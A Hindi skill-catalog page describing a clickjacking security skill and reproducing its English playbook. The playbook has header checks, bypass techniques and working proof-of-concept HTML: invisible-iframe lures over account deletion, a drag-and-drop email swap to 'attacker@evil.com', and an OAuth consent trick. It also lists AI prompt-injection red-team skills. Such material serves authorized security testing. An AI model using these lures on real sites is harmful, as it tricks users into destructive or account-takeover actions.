मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी6.5k · #14053

clickjacking

यह क्या करती है

यह गाइड clickjacking को कवर करती है, जहाँ हमलावर संवेदनशील पेज को frame में रखकर यूज़र से उस पर क्लिक करवाता है। यह उन वेब टीमों के लिए है जो पुष्टि करना चाहती हैं कि उनके पेज framing रोकते हैं।

कब इस्तेमाल करें

  • ✓जब साइट पर भुगतान, हटाने या अनुमति देने जैसी संवेदनशील कार्रवाइयाँ हों।
  • ✓जब जाँचना हो कि मुख्य पेज सही frame सुरक्षा हेडर भेजते हैं या नहीं।
  • ✓जब टीम परखना चाहती है कि उसके पेज किसी दूसरी साइट के frame में दिखाए जा सकते हैं या नहीं।

Skill का लिंक

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“क्या हमारे खाता सेटिंग और स्वीकृति पेज किसी दूसरी वेबसाइट के frame में दिखाए जा सकते हैं? कृपया हेडर जाँचें।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

एजेंट संवेदनशील पेजों पर frame से जुड़े हेडर जाँचता है, परखता है कि वे frame में लोड होते हैं या नहीं, और जो पेज frame हो सकते हैं उनकी रिपोर्ट करता है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Clickjacking Playbook

Framing a sensitive UI under an attacker page lets a single victim click trigger a privileged action (delete account, transfer funds, grant OAuth scope, confirm 2FA). Severity = severity of the framed action. Pages without X-Frame-Options and without Content-Security-Policy: frame-ancestors are framable.

1. Detection — framing controls

# Inspect headers on every sensitive page (settings, transfer, oauth/consent, delete, admin)
for path in / /account /account/email /account/delete /transfer /oauth/authorize /admin; do
  echo "== $path =="
  curl -s -D- -o /dev/null "https://<TARGET>$path" \
    | grep -iE "x-frame-options|content-security-policy"
done

# Quick "is it framable?" probe — save to disk, open in a browser
cat > /tmp/cj.html <<'EOF'
<!doctype html><title>frame test</title>
<iframe src="https://<TARGET>/account/delete" width="900" height="600"></iframe>
EOF
# If the iframe renders the target UI → framing allowed.

Server-side allow:

  • no X-Frame-Options header and
  • no frame-ancestors directive in Content-Security-Policy (or frame-ancestors * / overly broad).

2. Misconfig matrix

Class Server behaviour Exploit
No XFO, no CSP frame-ancestors full framing allowed classic overlay
XFO: ALLOW-FROM only ignored by modern browsers full framing in Chromium/Firefox
frame-ancestors * explicit allow-all full framing
frame-ancestors 'self' *.target.com trusts every subdomain host PoC on a takeable subdomain
Frame-buster JS only (if (top!=self) top.location=self.location) client-side defense sandbox="allow-forms allow-scripts" (no allow-top-navigation) defeats it
204-frame-buster response replaces self <iframe csp="sandbox" ...> or pre-empt with onbeforeunload
Drag-and-drop sinks sensitive textarea framable drag attacker-controlled string onto target form
Cursorjacking custom cursor + offset misalign visible vs. real pointer
Double-clickjacking first click opens prompt, second confirms two-stage overlay (Paulos Yibelo 2024)
Touch / pointer gestures mobile swipe consent overlay with transparent gesture target
Permissions-Policy missing camera/mic in iframe request perms in nested iframe over consent UI

3. Exploit PoC — overlay

<!doctype html>
<html><head><title>Free iPhone</title>
<style>
  body { margin:0 }
  .lure { position:absolute; z-index:1; top:0; left:0; font:48px sans-serif }
  iframe { position:absolute; z-index:2; opacity:0.0001;
           top:120px; left:60px; width:400px; height:80px;
           border:0; pointer-events:auto; }
</style></head><body>
  <div class="lure">
    Click <b style="color:red">CLAIM</b> to win an iPhone:
    <button style="position:absolute;top:140px;left:120px;width:120px;height:40px">CLAIM</button>
  </div>
  <!-- aligned so the invisible iframe button sits exactly over CLAIM -->
  <iframe src="https://<TARGET>/account/delete?confirm=1"
          sandbox="allow-forms allow-scripts allow-same-origin"></iframe>
</body></html>

3.1 Drag-and-drop CJ

<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','attacker@evil.com')">
  Drag me to win
</div>
<iframe src="https://<TARGET>/account/email" style="opacity:.0001" ...></iframe>

3.2 Double-clickjacking (browser confirm dialog)

<button onclick="w=window.open('https://<TARGET>/oauth/authorize?client_id=evil&...')">Play</button>
<!-- victim's 2nd click lands inside the popup on the now-focused "Allow" button -->

4. Chains

  • CJ + OAuth consent → silent scope grant → API takeover.
  • CJ + CSRF-token leakage → click triggers a state change that reads token from the framed page.
  • CJ + self-XSS → coerce victim to paste/drag the payload into a framed input.
  • CJ + 2FA confirm → step-up auth confirmed under a lure click.

5. Tools

  • Burp Suite — Clickbandit (point-and-click PoC generator)
  • clickjacker.io / OWASP Clickjacking Tester
  • Manual: any HTML editor + a browser with frame ancestors disabled in dev

6. Detection signatures & OPSEC

Indicator Detection method OPSEC note
Framing from foreign origin server-side referer logging Host PoC on in-scope domain during authorized tests
Sudden spike in sensitive actions w/ short dwell time UX analytics Demonstrate impact with a single victim profile
Browser console CSP re
अक्सर पूछे जाने वाले सवाल

कौन-से हेडर framing से बचाते हैं?

गाइड X-Frame-Options हेडर और Content Security Policy में frame-ancestors नियम का नाम लेती है।

गंभीरता कार्रवाई पर क्यों निर्भर है?

गाइड कहती है कि जोखिम इस बात से तय होता है कि frame की गई कार्रवाई क्या कर सकती है, जैसे खाता हटाना।

क्या पुरानी हेडर सेटिंग काफ़ी हैं?

गाइड बताती है कि कुछ पुरानी allow-from सेटिंग आधुनिक ब्राउज़र नज़रअंदाज़ कर देते हैं।

जानकारी

लेखक का मूल विवरण

UI redressing — missing X-Frame-Options / frame-ancestors, frame-buster bypass, drag-and-drop, cursorjacking, double-clickjacking, and sensitive-action framing.

repo: BitterSecurity/Decepticon

लोकप्रियता

GitHub स्टार
6.5k
रैंकिंग में स्थान
#14053
लाइसेंस
Apache-2.0
अपडेट की गई
1/11/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

detector-overview

6.5k

यह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।

कोडिंगसिक्योरिटी

exploiter-overview

6.5k

यह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।

कोडिंगसिक्योरिटी

llm-redteam-overview

6.5k

यह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।

कोडिंगसिक्योरिटी

aatmf-t01-prompt-injection

6.5k

समझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।

कोडिंगसिक्योरिटी

मिलती-जुलती skills